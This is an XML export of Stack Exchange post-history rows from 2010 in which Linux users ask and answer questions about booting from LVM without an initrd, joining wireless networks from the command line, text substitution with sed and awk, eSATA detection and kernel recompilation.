  <row Id="5124" PostHistoryTypeId="2" PostId="2478" RevisionGUID="3c7b2722-b535-4e79-861f-d80b203037ec" CreationDate="2010-09-27T21:34:01.583" UserId="33" Text="Simple answer: No. If you want LVM you need an initrd.&#xD;&#xA;&#xD;&#xA;But as others have said before: LVMs don't slow your system down or do anything bad in another way, they just allow you to create an environment that allows your kernel to load and do its job.&#xD;&#xA;&#xD;&#xA;The initrd allows your kernel to be loaded: If your kernel is on an LVM drive the whole LVM environment has to be established before the binary that contains the kernel can be loaded.&#xD;&#xA;&#xD;&#xA;Check out the [Wikipedia Entry on initrd][1] which explains what the initrd does and why you need it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Initrd" />
  <row Id="5126" PostHistoryTypeId="2" PostId="2480" RevisionGUID="044100a8-594f-45ce-8b44-a4b382958a96" CreationDate="2010-09-27T21:49:09.467" UserId="1375" Text="Hello,&#xD;&#xA;&#xD;&#xA;Is there a way to join a password protected wireless network via the command line in installations of Ubuntu or Arch Linux with no desktop environment or any GUI installed?&#xD;&#xA;&#xD;&#xA;Also, could this be done during a text-based installation and set up of those systems? Just for example, this might be important when installing (without a GUI) from a live CD where many packages need to be downloaded, but only a password protected wireless network is available.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="5127" PostHistoryTypeId="1" PostId="2480" RevisionGUID="044100a8-594f-45ce-8b44-a4b382958a96" CreationDate="2010-09-27T21:49:09.467" UserId="1375" Text="Command line join of password protected wireless networks in Ubuntu, Arch Linux, or other distros?" />
  <row Id="5128" PostHistoryTypeId="3" PostId="2480" RevisionGUID="044100a8-594f-45ce-8b44-a4b382958a96" CreationDate="2010-09-27T21:49:09.467" UserId="1375" Text="écommandölineàéubuntuàéinstallàéarchölinuxàéwirelessà" />
  <row Id="5129" PostHistoryTypeId="2" PostId="2481" RevisionGUID="47d4e8f2-5321-4a10-87fc-5e99fb68658a" CreationDate="2010-09-27T21:57:33.697" UserId="33" Text="The package you are looking for is called `wpa_suppliant`, it handles logging into protected wireless networks.&#xD;&#xA;&#xD;&#xA;If you use it from Ubuntu (or other debian based distributions) it's fairly easy to set up and the process is rather simple (check the [debian wiki][1] for a few pointers). I don't know much about arch linux but it shouldn't differ too much.&#xD;&#xA;&#xD;&#xA;If you still want the convenience you know from desktop environments or are for some other reason tied to `network-manager` you can use the `cnetworkmanager` ([website][2]) package that allows you to talk to the network-manager daemon from a terminal.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.debian.org/WPA&#xD;&#xA;  [2]: http://vidner.net/martin/software/cnetworkmanager/" />
  <row Id="5130" PostHistoryTypeId="2" PostId="2482" RevisionGUID="0f0b84a6-c432-40c8-bc10-eb1b6ee71b49" CreationDate="2010-09-27T22:16:40.170" UserId="2028" Text="If this is an ext3 filesystem, you can extend it to the LV size by running: &#xD;&#xA;&#xD;&#xA;    resize2fs /dev/system/var&#xD;&#xA;&#xD;&#xA;If this anything else than ext3, use the appropriate tool, e.g. `xfs_growfs /var` if it's XFS. &#xD;&#xA;&#xD;&#xA;This is absolutely nothing to be afraid of. I have extended hundreds of filesystems in more than 10 years on several operating systems and I have never seen the operation leading to a disruption of any kind." />
  <row Id="5131" PostHistoryTypeId="5" PostId="2466" RevisionGUID="e3ebc3ce-1b34-477d-bfe0-92dad91371bc" CreationDate="2010-09-28T03:48:11.340" UserId="250" Comment="added 2 characters in body" Text="Hello,&#xD;&#xA;&#xD;&#xA;I have just set up a Gentoo base system (which means I can boot and log in and do stuff with it now). My root partition is in an LVM2 virtual group (with a separated `/boot` partition). In order to boot I need to pass the parameters below to the kernel:&#xD;&#xA;&#xD;&#xA;    root=/dev/ram0 real_root=/dev/vg/rootlv init=/linuxrc dolvm&#xD;&#xA;&#xD;&#xA;Apparently it is using an initial ramdisk to do something (I guess loading the LVM things) before mounting root. Is there a way that I can put this code into the kernel itself so that no initrd is needed? If not, how can I make the initrd myself?&#xD;&#xA;&#xD;&#xA;It might be useful to add that I had tried compiling the kernel for non-LVM root, without initrd and it worked perfectly. Then I tried to put the whole thing under LVM and couldn't get the machine to boot (I guess it cannot deal with the LVM stuff). Then I used the `genkernel` tool with the `--lvm` option and it creates the working kernel and initrd that I am currently using.&#xD;&#xA;&#xD;&#xA;Now I want to skip `genkernel` and do everything on my own, preferably without initrd so that the machine will boot somewhat faster (I don't need the flexibility anyway)." />
  <row Id="5132" PostHistoryTypeId="2" PostId="2483" RevisionGUID="4775e20f-aaa2-4c56-bdfd-ff71f7c30b53" CreationDate="2010-09-28T05:22:40.527" UserId="2031" Text="If using rsync is possible, the advantage of archiving first is almost gone.&#xD;&#xA;&#xD;&#xA; * Compression: rsync has built-in compression (option -z).&#xD;&#xA; * Connection: The number of connection (generally 1) doesn't increase with the number of files transfered.&#xD;&#xA; * Restart: rsync only transmit the difference, so incremental transfer is simple. You can choose to keep partial files so it is faster to resume the transmission.&#xD;&#xA; * Integrity: Check-sum is used internally, and if you are paranoid about it, you can force the -c option, so it is checked again.&#xD;&#xA;" />
  <row Id="5133" PostHistoryTypeId="2" PostId="2484" RevisionGUID="e486180c-b50b-4358-8d79-2fab26296c07" CreationDate="2010-09-28T05:44:04.010" UserId="2031" Text="I have some complex read-only data in my file system. It contains thousands of snapshots of certain revisions of a svn repository, and the output of regression tests. Identical files between snapshots are already de-duplicated using hard links. This way, the storage capacity doesn't need to be large, but it still consumes a lot of inodes, and this makes fsck painfully long for my main file system.&#xD;&#xA;&#xD;&#xA;I'd like to move these data to another file system, so that it doesn't affect the main file system too much. Do you have suggestions? Squashfs seems to be a possible choice, but I'll have to check if it can handle hard links efficiently.&#xD;&#xA;&#xD;&#xA;Thanks and regards." />
  <row Id="5134" PostHistoryTypeId="1" PostId="2484" RevisionGUID="e486180c-b50b-4358-8d79-2fab26296c07" CreationDate="2010-09-28T05:44:04.010" UserId="2031" Text="filesystem for archiving" />
  <row Id="5135" PostHistoryTypeId="3" PostId="2484" RevisionGUID="e486180c-b50b-4358-8d79-2fab26296c07" CreationDate="2010-09-28T05:44:04.010" UserId="2031" Text="éfilesystemsàéhardölinkàéarchiveà" />
  <row Id="5136" PostHistoryTypeId="5" PostId="2478" RevisionGUID="4dcd6b46-1c42-4ba4-869e-326e44b8201d" CreationDate="2010-09-28T05:45:02.417" UserId="33" Comment="added 378 characters in body" Text="Simple answer: No. If you want LVM you need an initrd.&#xD;&#xA;&#xD;&#xA;But as others have said before: LVMs don't slow your system down or do anything bad in another way, they just allow you to create an environment that allows your kernel to load and do its job.&#xD;&#xA;&#xD;&#xA;The initrd allows your kernel to be loaded: If your kernel is on an LVM drive the whole LVM environment has to be established before the binary that contains the kernel can be loaded.&#xD;&#xA;&#xD;&#xA;Check out the [Wikipedia Entry on initrd][1] which explains what the initrd does and why you need it.&#xD;&#xA;&#xD;&#xA;Another note: I see your point in wanting to do things yourself but you can get your hands dirty even with genkernel. Use genkernel --menuconfig all and you can basically set everything as if you would build your kernel completely without tool support, genkernel just adds the make bzImage, make modules and make modules_install lines for you and does that nasty initrd stuff.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Initrd" />
  <row Id="5138" PostHistoryTypeId="5" PostId="2478" RevisionGUID="e9295b8e-9a43-4247-b1d6-752c5abda108" CreationDate="2010-09-28T06:32:12.867" UserId="33" Comment="added initrd details" Text="Simple answer: No. If you want LVM you need an initrd.&#xD;&#xA;&#xD;&#xA;But as others have said before: LVMs don't slow your system down or do anything bad in another way, they just allow you to create an environment that allows your kernel to load and do its job.&#xD;&#xA;&#xD;&#xA;The initrd allows your kernel to be loaded: If your kernel is on an LVM drive the whole LVM environment has to be established before the binary that contains the kernel can be loaded.&#xD;&#xA;&#xD;&#xA;Check out the [Wikipedia Entry on initrd][1] which explains what the initrd does and why you need it.&#xD;&#xA;&#xD;&#xA;Another note: I see your point in wanting to do things yourself but you can get your hands dirty even with genkernel. Use genkernel --menuconfig all and you can basically set everything as if you would build your kernel completely without tool support, genkernel just adds the make bzImage, make modules and make modules_install lines for you and does that nasty initrd stuff.&#xD;&#xA;&#xD;&#xA;You can obviously build the initrd yourself as it is outlined [here for initramfs][2] or [here for initrd][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Initrd&#xD;&#xA;  [2]: http://en.gentoo-wiki.com/wiki/Initramfs&#xD;&#xA;  [3]: http://www.gentoo-wiki.info/HOWTO_Install_Gentoo_on_an_LVM2_root_partition#Make_your_initrd" />
  <row Id="5139" PostHistoryTypeId="2" PostId="2485" RevisionGUID="5736418e-8142-4a06-be14-d14bc6aac60c" CreationDate="2010-09-28T07:03:06.283" UserId="678" Text="I would prefer [XFS][1] since I have very good experiences with this file system. But I really recommend, you make a test with your data and all filesystems suggested.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Xfs" />
  <row Id="5140" PostHistoryTypeId="2" PostId="2486" RevisionGUID="09377a7e-c8a2-45ec-98fa-bafcc8e51ff1" CreationDate="2010-09-28T07:03:14.427" UserId="33" Text="If it's abot fsck slowness, did you try ext4? They added a few features to it that make fsck really quick [by not looking at unused inodes][1]:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Fsck is a very slow operation, especially the first step: checking all the inodes in the file system. In Ext4, at the end of each group's inode table will be stored a list of unused inodes (with a checksum, for safety), so fsck will not check those inodes. The result is that total fsck time improves from 2 to 20 times, depending on the number of used inodes (http://kerneltrap.org/Linux/Improving_fsck_Speeds_in_Ext4). It must be noticed that it's fsck, and not Ext4, who will build the list of unused inodes. This means that you must run fsck to get the list of unused inodes built, and only the next fsck run will be faster (you need to pass a fsck in order to convert a Ext3 filesystem to Ext4 anyway). There's also a feature that takes part in this fsck speed up - &quot;flexible block groups&quot; - that also speeds up filesystem operations. &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kernelnewbies.org/Ext4#head-9a25213c5b924bdb8b33efbcb91bfa1279bd2b00" />
  <row Id="5141" PostHistoryTypeId="2" PostId="2487" RevisionGUID="44135e43-87c9-435f-b85b-8f3b0de2c2ed" CreationDate="2010-09-28T07:30:16.820" UserId="1606" Text="If you are to learn one out of these 3( grep , sed and awk ) , you can just learn [awk/gawk.][1].  awk can do grep and sed's functions, ie using regex to search/replace text, plus much more because its also a programming language. If you learn the inside outs of gawk/awk, you won't need to use grep/sed/wc/cut etc. Just one tool does it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/manual/gawk/gawk.html" />
  <row Id="5142" PostHistoryTypeId="5" PostId="2481" RevisionGUID="00034580-a491-4020-b7e6-66cd1fd87dbb" CreationDate="2010-09-28T07:36:54.717" UserId="33" Comment="added 1 characters in body" Text="The package you are looking for is called `wpa_supplicant`, it handles logging into protected wireless networks.&#xD;&#xA;&#xD;&#xA;If you use it from Ubuntu (or other debian based distributions) it's fairly easy to set up and the process is rather simple (check the [debian wiki][1] for a few pointers). I don't know much about arch linux but it shouldn't differ too much.&#xD;&#xA;&#xD;&#xA;If you still want the convenience you know from desktop environments or are for some other reason tied to `network-manager` you can use the `cnetworkmanager` ([website][2]) package that allows you to talk to the network-manager daemon from a terminal.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.debian.org/WPA&#xD;&#xA;  [2]: http://vidner.net/martin/software/cnetworkmanager/" />
  <row Id="5143" PostHistoryTypeId="2" PostId="2488" RevisionGUID="b1a25903-086e-4011-be66-7595486b8dcf" CreationDate="2010-09-28T08:47:36.753" UserId="1989" Text="Here is the basic rules you need to do to create an initrd-less kernel (from memory, I didn't remember exactly):&#xD;&#xA;&#xD;&#xA; 1. Recompile your kernel, make sure to built into the kernel (IMPORTANT: not as module!):&#xD;&#xA;   1. motherboard driver and harddrive driver (both under `Device Drivers`)&#xD;&#xA;   2. filesystem driver for `/`, `/etc/*`, and `/lib/modules/*` (under `File systems`) &#xD;&#xA;&#xD;&#xA;   Basically, the kernel needs to be able to mount the root filesystem, &#xD;&#xA;   read the /etc/fstab, load other driver modules (if necessary), &#xD;&#xA;   and mount other non-root filesystems to complete the rest of the booting process. &#xD;&#xA;   If you have a more involved booting process, e.g. network booting then you need to &#xD;&#xA;   built in those drivers as well.&#xD;&#xA;&#xD;&#xA; 2. Disable initrd from the kernel &quot;General setup &gt; Initial RAM filesystems and RAM disk (initramfs/initrd)support&quot; a.k.a. CONFIG_BLK_DEV_INITRD=n.&#xD;&#xA;&#xD;&#xA; 3. Modify GRUB config, you no longer needs init= and realroot=, and setup root= so it points to the root filesystem device. &#xD;&#xA;&#xD;&#xA;I think that's all. Don't forget to keep a backup kernel, and a good copy of a bootable Live CD, in case something happens." />
  <row Id="5144" PostHistoryTypeId="5" PostId="2488" RevisionGUID="35f32580-ee7d-4f32-86c1-a69fac648e3f" CreationDate="2010-09-28T08:59:59.407" UserId="1989" Comment="added 469 characters in body" Text="Here is the basic rules you need to do to create an initrd-less kernel (from memory, I didn't remember exactly):&#xD;&#xA;&#xD;&#xA; 1. Recompile your kernel, make sure to built into the kernel (IMPORTANT: not as module!):&#xD;&#xA;   1. motherboard driver and harddrive driver (both under `Device Drivers`)&#xD;&#xA;   2. filesystem driver for `/`, `/etc/*`, and `/lib/modules/*` (under `File systems`) &#xD;&#xA;&#xD;&#xA;   Basically, the kernel needs to be able to mount the root filesystem, &#xD;&#xA;   read the /etc/fstab, load other driver modules (if necessary), &#xD;&#xA;   and mount other non-root filesystems to complete the rest of the booting process. &#xD;&#xA;   If you have a more involved booting process, e.g. network booting then you need to &#xD;&#xA;   built in those drivers as well.&#xD;&#xA;&#xD;&#xA; 2. Disable initrd from the kernel &quot;General setup &gt; Initial RAM filesystems and RAM disk (initramfs/initrd)support&quot; a.k.a. CONFIG_BLK_DEV_INITRD=n.&#xD;&#xA;&#xD;&#xA; 3. Modify GRUB config, you no longer needs init= and realroot=, and setup root= so it points to the root filesystem device. &#xD;&#xA;&#xD;&#xA;I think that's all. Don't forget to keep a backup kernel, and a good copy of a bootable Live CD, in case something happens.&#xD;&#xA;&#xD;&#xA;Things that could go wrong: if you compiled in the wrong drivers or if you compile the basic drivers as a module, then the kernel cannot read the filesystem. Reboot with a fresh kernel, or with a Live CD and recompile a kernel with the correct drivers. &#xD;&#xA;&#xD;&#xA;The only hard part is figuring out which driver is relevant to your hardware. You can use `lspci` and `lshw` to help identify your hardware. If you don't have these tools already, then `emerge lshw pciutils`." />
  <row Id="5145" PostHistoryTypeId="5" PostId="2415" RevisionGUID="3e28f980-74b2-400f-95c4-18f54449e95e" CreationDate="2010-09-28T09:03:45.323" UserId="1982" Comment="add scsitools results" Text="Does anyone know if there's kernel support for the eSATA controller in the Intel H57 chipset, or if there's a driver for it somewhere? *(Full disclosure: [Asked][1] over on SuperUser.com, no luck, but as this is more of a \*nix-oriented place...)*&#xD;&#xA;&#xD;&#xA;I'm just having no luck getting my Ubuntu 10.04 LTS desktop (64-bit) to recognise a drive in an eSATA enclosure. It works fine if I use the same enclosure via its USB2 connector instead, which tells me that the drive is installed in the enclosure successfully and that the drive works.&#xD;&#xA;&#xD;&#xA;Here's what I've tried / checked:&#xD;&#xA;&#xD;&#xA;1. Connecting the drive naively. Literally, plugging the eSATA cable into the box and turning the drive on, while Ubuntu was running. No reaction, and nothing shows up in the Disk Uility or `fdisk -l`.&#xD;&#xA;&#xD;&#xA;2. Leaving the drive connected and cold booting Ubuntu (literally from poweroff). Still nothing on DU or `fdisk -l`.&#xD;&#xA;&#xD;&#xA;3. Ensuring that the BIOS has the eSATA port enabled (it did, I didn't have to change it).&#xD;&#xA;&#xD;&#xA;4. Ensuring that the BIOS is using AHCI. It wasn't, and that hadn't been any problem accessing the internal SATA SSD (the box's primary drive). (The SSD showed up under the PATA controller, because I think the BIOS was doing emulation or something.) Switching the BIOS to use AHCI on the SATA controller didn't make any difference other than that the SSD showed up under the SATA controller instead and was listed as using the ahci driver, as you'd expect.&#xD;&#xA;&#xD;&#xA;5. Looking in `dmesg` for anything useful. I don't see any mention of the drive at all (except from when I had it attached via USB).&#xD;&#xA;&#xD;&#xA;Other info:&#xD;&#xA;&#xD;&#xA;* eSATA is on the motherboard, an [Intel DH57JG][2], which uses the Intel H57 chipset.&#xD;&#xA;* Enclosure is an [Apex][3] (cheap, but other than cable length issues people on Amazon seemed to like it, and it's handsome).&#xD;&#xA;* Drive is a [Samsung F3 HD103SJ][4].&#xD;&#xA;* Cable is, well, [a cable][5].&#xD;&#xA;* Intel [doesn't seem to have][6] any specific Linux drivers for the board (Ubuntu or Linux aren't even *categories* [here][7], for instance), they just list that the chipset is supported &quot;native.&quot; But as they don't call out eSATA specifically, that could mean anything.&#xD;&#xA;&#xD;&#xA;Unfortunately, I don't have any other machine that supports eSATA so I can do the obvious thing and prove that the rig (enclosure and cable) work over eSATA on another box. :-( And I don't have my desktop set up to dual-boot another OS... So at this stage, I don't know it's a software problem, could be hardware, could be cable, but the Ubuntu-oriented vendor I bought it from says they don't know how to get it working either (not that they mentioned that on their product page!), so...&#xD;&#xA;&#xD;&#xA;**Update**:&#xD;&#xA;&#xD;&#xA;Someone [over on the Ubuntu forums][8] suggested installing scsitools and running `rescan-scsi-bus.sh` as root, just in case. No luck, but posting that info here for completeness:&#xD;&#xA;&lt;pre&gt;root@forge:~# rescan-scsi-bus.sh -c&#xD;&#xA;Host adapter 0 (ahci) found.&#xD;&#xA;Host adapter 1 (ahci) found.&#xD;&#xA;Host adapter 2 (ahci) found.&#xD;&#xA;Host adapter 3 (ahci) found.&#xD;&#xA;Host adapter 4 (ahci) found.&#xD;&#xA;Host adapter 5 (ahci) found.&#xD;&#xA;Scanning SCSI subsystem for new devices&#xD;&#xA;Scanning host 0 channels 0 1 for  SCSI target IDs  0 1 2 3 4 5 6 7, all LUNs&#xD;&#xA;Scanning for device 0 0 0 0 ...&#xD;&#xA;OLD: Host: scsi0 Channel: 00 Id: 00 Lun: 00&#xD;&#xA;      Vendor: ATA      Model: INTEL SSDSA2M080 Rev: 2CV1&#xD;&#xA;      Type:   Direct-Access                    ANSI SCSI revision: 05&#xD;&#xA;Scanning host 1 channels 0 1 for  SCSI target IDs  0 1 2 3 4 5 6 7, all LUNs&#xD;&#xA;Scanning host 2 channels 0 1 for  SCSI target IDs  0 1 2 3 4 5 6 7, all LUNs&#xD;&#xA;Scanning for device 2 0 0 0 ...&#xD;&#xA;OLD: Host: scsi2 Channel: 00 Id: 00 Lun: 00&#xD;&#xA;      Vendor: TSSTcorp Model: CDDVDW SN-S083C  Rev: SB01&#xD;&#xA;      Type:   CD-ROM                           ANSI SCSI revision: 05&#xD;&#xA;Report Luns command not supported (support mandatory in SPC-3)&#xD;&#xA;Scanning for device 2 0 0 0 ...&#xD;&#xA;OLD: Host: scsi2 Channel: 00 Id: 00 Lun: 00&#xD;&#xA;      Vendor: TSSTcorp Model: CDDVDW SN-S083C  Rev: SB01&#xD;&#xA;      Type:   CD-ROM                           ANSI SCSI revision: 05&#xD;&#xA;Scanning host 3 channels 0 1 for  SCSI target IDs  0 1 2 3 4 5 6 7, all LUNs&#xD;&#xA;Scanning host 4 channels 0 1 for  SCSI target IDs  0 1 2 3 4 5 6 7, all LUNs&#xD;&#xA;Scanning host 5 channels 0 1 for  SCSI target IDs  0 1 2 3 4 5 6 7, all LUNs&#xD;&#xA;0 new device(s) found.               &#xD;&#xA;0 device(s) removed.                 &#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;Any ideas? Thanks in advance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/191997&#xD;&#xA;  [2]: http://www.intel.com/products/desktop/motherboards/dh57jg/dh57jg-overview.htm&#xD;&#xA;  [3]: http://www.amazon.co.uk/gp/product/B001T6ZUW2&#xD;&#xA;  [4]: http://www.amazon.co.uk/gp/product/B002MQC0P8&#xD;&#xA;  [5]: http://www.amazon.co.uk/gp/product/B000SKN8VK&#xD;&#xA;  [6]: http://www.intel.com/support/motherboards/desktop/dh57jg/sb/CS-031531.htm&#xD;&#xA;  [7]: http://downloadcenter.intel.com/SearchResult.aspx?lang=eng&amp;ProductFamily=Desktop+Boards&amp;ProductLine=Intel%C2%AE+5+Series+Chipset+Boards&amp;ProductProduct=Intel%C2%AE+Desktop+Board+DH57JG&#xD;&#xA;  [8]: http://ubuntuforums.org/showthread.php?p=9895653" />
  <row Id="5146" PostHistoryTypeId="5" PostId="2488" RevisionGUID="1fe65cbe-54b4-4c48-83e4-f81fa60c0bfe" CreationDate="2010-09-28T09:07:14.030" UserId="1989" Comment="added 142 characters in body" Text="*edit: just realized you're trying to boot on LVM, I've never setup an LVM, never needed them, so probably the approach here may not work*&#xD;&#xA;&#xD;&#xA;Here is the basic rules you need to do to create an initrd-less kernel (from memory, I didn't remember exactly):&#xD;&#xA;&#xD;&#xA; 1. Recompile your kernel, make sure to built into the kernel (IMPORTANT: not as module!):&#xD;&#xA;   1. motherboard driver and harddrive driver (both under `Device Drivers`)&#xD;&#xA;   2. filesystem driver for `/`, `/etc/*`, and `/lib/modules/*` (under `File systems`) &#xD;&#xA;&#xD;&#xA;   Basically, the kernel needs to be able to mount the root filesystem, &#xD;&#xA;   read the /etc/fstab, load other driver modules (if necessary), &#xD;&#xA;   and mount other non-root filesystems to complete the rest of the booting process. &#xD;&#xA;   If you have a more involved booting process, e.g. network booting then you need to &#xD;&#xA;   built in those drivers as well.&#xD;&#xA;&#xD;&#xA; 2. Disable initrd from the kernel &quot;General setup &gt; Initial RAM filesystems and RAM disk (initramfs/initrd)support&quot; a.k.a. CONFIG_BLK_DEV_INITRD=n.&#xD;&#xA;&#xD;&#xA; 3. Modify GRUB config, you no longer needs init= and realroot=, and setup root= so it points to the root filesystem device. &#xD;&#xA;&#xD;&#xA;I think that's all. Don't forget to keep a backup kernel, and a good copy of a bootable Live CD, in case something happens.&#xD;&#xA;&#xD;&#xA;Things that could go wrong: if you compiled in the wrong drivers or if you compile the basic drivers as a module, then the kernel cannot read the filesystem. Reboot with a fresh kernel, or with a Live CD and recompile a kernel with the correct drivers. &#xD;&#xA;&#xD;&#xA;The only hard part is figuring out which driver is relevant to your hardware. You can use `lspci` and `lshw` to help identify your hardware. If you don't have these tools already, then `emerge lshw pciutils`." />
  <row Id="5147" PostHistoryTypeId="2" PostId="2489" RevisionGUID="53d2a439-b948-44d4-9cc0-92c440d2bd0b" CreationDate="2010-09-28T09:51:31.977" UserId="13" Text="I'm writing a shell script (bash) to fetch and build several bits of software, the script also writes several small config files and needs to alter a couple of pre-existing config files. What is the best way to find and substitue a few lines of a text file from a bash script? &#xD;&#xA;&#xD;&#xA;This sounds like a job for sed but I don't understand the syntax..." />
  <row Id="5148" PostHistoryTypeId="1" PostId="2489" RevisionGUID="53d2a439-b948-44d4-9cc0-92c440d2bd0b" CreationDate="2010-09-28T09:51:31.977" UserId="13" Text="Subtitue part of text file using bash script" />
  <row Id="5149" PostHistoryTypeId="3" PostId="2489" RevisionGUID="53d2a439-b948-44d4-9cc0-92c440d2bd0b" CreationDate="2010-09-28T09:51:31.977" UserId="13" Text="ébashà" />
  <row Id="5150" PostHistoryTypeId="2" PostId="2490" RevisionGUID="6930a84b-9e45-49ea-b5ac-5d4933f3cbd4" CreationDate="2010-09-28T10:21:13.600" UserId="1898" Text="Not an answer, but: http://catb.org/esr/writings/unix-koans/shell-tools.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5151" PostHistoryTypeId="2" PostId="2491" RevisionGUID="81a258ed-8961-4214-845f-0f361fea11d2" CreationDate="2010-09-28T10:51:50.990" UserId="1606" Text="awk/sed/bash/Python/Perl/Ruby and most other tools/programming languages all can do manipulation of files. The &quot;best&quot; way is the way you are familiar and comfortable with. If you don't know anything about sed, look it up and learn about it. Otherwise, if you have a  programming language you know, just do with it. Here's a bash script example&#xD;&#xA;&#xD;&#xA;    exec 6&lt;&quot;file&quot;&#xD;&#xA;    while read -r line &lt;&amp;6&#xD;&#xA;    do&#xD;&#xA;      case &quot;$line&quot; in &#xD;&#xA;        *pattern* )&#xD;&#xA;           line=&quot;${line//word/replace}&quot;&#xD;&#xA;      esac&#xD;&#xA;      echo &quot;$line&quot;&#xD;&#xA;    done &gt; &quot;out&quot;&#xD;&#xA;    exec 6&lt;&amp;-&#xD;&#xA;    mv out file&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;sed example&#xD;&#xA;&#xD;&#xA;    sed 's/word/replace/g' file&#xD;&#xA;&#xD;&#xA;awk example&#xD;&#xA;&#xD;&#xA;    awk '{gsub(/word/,&quot;replace&quot;)}1' file &gt; t &amp;&amp; mv t file&#xD;&#xA;&#xD;&#xA;Python example (use 'with' for later versions)&#xD;&#xA;&#xD;&#xA;    for line in open(&quot;file&quot;):&#xD;&#xA;        if &quot;pattern&quot; in line:&#xD;&#xA;            line=line.replace(&quot;pattern&quot;,&quot;replace&quot;)&#xD;&#xA;        print line&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5152" PostHistoryTypeId="2" PostId="2492" RevisionGUID="5cfc5120-0a4d-4f8b-8c4c-853adea6e8a2" CreationDate="2010-09-28T10:57:35.950" UserId="1946" Text="`sed s/@var@/$VALUE/g &lt;config.in &gt;config`, but beware of stray slashes `/` in `$VALUE` -- you might need to escape them or use another separator char." />
  <row Id="5153" PostHistoryTypeId="5" PostId="2489" RevisionGUID="10f9e738-ddba-4337-8096-34042524f7e1" CreationDate="2010-09-28T11:24:19.287" UserId="73" Comment="added 4 characters in body; edited tags; edited title" Text="I'm writing a shell script (bash) to fetch and build several bits of software. The script also writes several small config files and needs to alter a couple of pre-existing config files. What is the best way to find and substitute a few lines of a text file from a bash script? &#xD;&#xA;&#xD;&#xA;This sounds like a job for `sed`, but I don't understand the syntax..." />
  <row Id="5154" PostHistoryTypeId="4" PostId="2489" RevisionGUID="10f9e738-ddba-4337-8096-34042524f7e1" CreationDate="2010-09-28T11:24:19.287" UserId="73" Comment="added 4 characters in body; edited tags; edited title" Text="Substitute part of text file using bash script" />
  <row Id="5155" PostHistoryTypeId="6" PostId="2489" RevisionGUID="10f9e738-ddba-4337-8096-34042524f7e1" CreationDate="2010-09-28T11:24:19.287" UserId="73" Comment="added 4 characters in body; edited tags; edited title" Text="ébashàésedà" />
  <row Id="5156" PostHistoryTypeId="2" PostId="2493" RevisionGUID="6e6710b6-00a0-45da-a75c-f9d544ab8277" CreationDate="2010-09-28T11:52:45.263" UserId="1389" Text="The Regular Expressions Cookbook published by O'Rielly would be enough to get you anywhere in any language that uses them." />
  <row Id="5157" PostHistoryTypeId="2" PostId="2494" RevisionGUID="56b2a284-e2d8-473f-8ea1-043bf1c2e190" CreationDate="2010-09-28T13:55:21.493" UserId="1375" Text="(to skip the details, jump to last paragraph)&#xD;&#xA;&#xD;&#xA;A few months ago I built what I thought was a beefed up box with an AMD Phenom II X4 955, 8 GB DDR3 1333 mHz RAM plus a nice motherboard (can't remember exact specs). However I couldn't get a VirtualBox Windows XP guest machine to perform well in it, and later read that AMD CPUs don't work so well in general (???).&#xD;&#xA;&#xD;&#xA;Anyway, I have been asked to configure and buy a new notebook for a family member, who needs to run a few legacy Windows apps but really wants to use Ubuntu as the main OS to try to squeeze good multimedia performance out of it. Right now I am looking at AVADirect Clevo W860CU with NVIDIA® GeForce® GTX 460M, 8 GB DDR3 1333mHz RAM, and a 7200-rpm hard drive.&#xD;&#xA;&#xD;&#xA;Due to past experience, I am not confident about virtualisation. One question is: Would a quad core i7 (say 840QM) with slower clockspeed perform better (or worse) than a dual core i7 (say 620M) with higher clockspeed for virtualised guests under Linux? Or should I just tell the person to go with a different host OS?" />
  <row Id="5158" PostHistoryTypeId="1" PostId="2494" RevisionGUID="56b2a284-e2d8-473f-8ea1-043bf1c2e190" CreationDate="2010-09-28T13:55:21.493" UserId="1375" Text="Linux as virtualisation host and client performance under Core i7?" />
  <row Id="5159" PostHistoryTypeId="3" PostId="2494" RevisionGUID="56b2a284-e2d8-473f-8ea1-043bf1c2e190" CreationDate="2010-09-28T13:55:21.493" UserId="1375" Text="éubuntuàévirtualömachineàéwindowsà" />
  <row Id="5160" PostHistoryTypeId="2" PostId="2495" RevisionGUID="2950b505-772d-4e12-a17c-45c165f5786f" CreationDate="2010-09-28T14:16:39.933" UserId="1941" Text="This mainly depends on which software is run under Windows. VirtualBox can offer all cores to Windows, but if the applications run there only use one or two, this is of no help and the higher clocked dual-core might be faster. (If it is really faster clocked than the quad core running turbo boost)" />
  <row Id="5161" PostHistoryTypeId="2" PostId="2496" RevisionGUID="ec2ea922-db5c-4c5d-bd75-d065077b56fb" CreationDate="2010-09-28T14:39:29.053" UserId="2040" Text="I need to recompile my kernel on RHEL WS5 with only two changes. &#xD;&#xA;&#xD;&#xA; 1. Change stack size from 4k to 8k&#xD;&#xA; 2. Limit usable memory to 4096.&#xD;&#xA;&#xD;&#xA;How do I recompile the kernel without changing anything else but these two items?" />
  <row Id="5162" PostHistoryTypeId="1" PostId="2496" RevisionGUID="ec2ea922-db5c-4c5d-bd75-d065077b56fb" CreationDate="2010-09-28T14:39:29.053" UserId="2040" Text="Recompile Kernel to Change Stack Size" />
  <row Id="5163" PostHistoryTypeId="3" PostId="2496" RevisionGUID="ec2ea922-db5c-4c5d-bd75-d065077b56fb" CreationDate="2010-09-28T14:39:29.053" UserId="2040" Text="ékernelàécompilingàérhelà" />
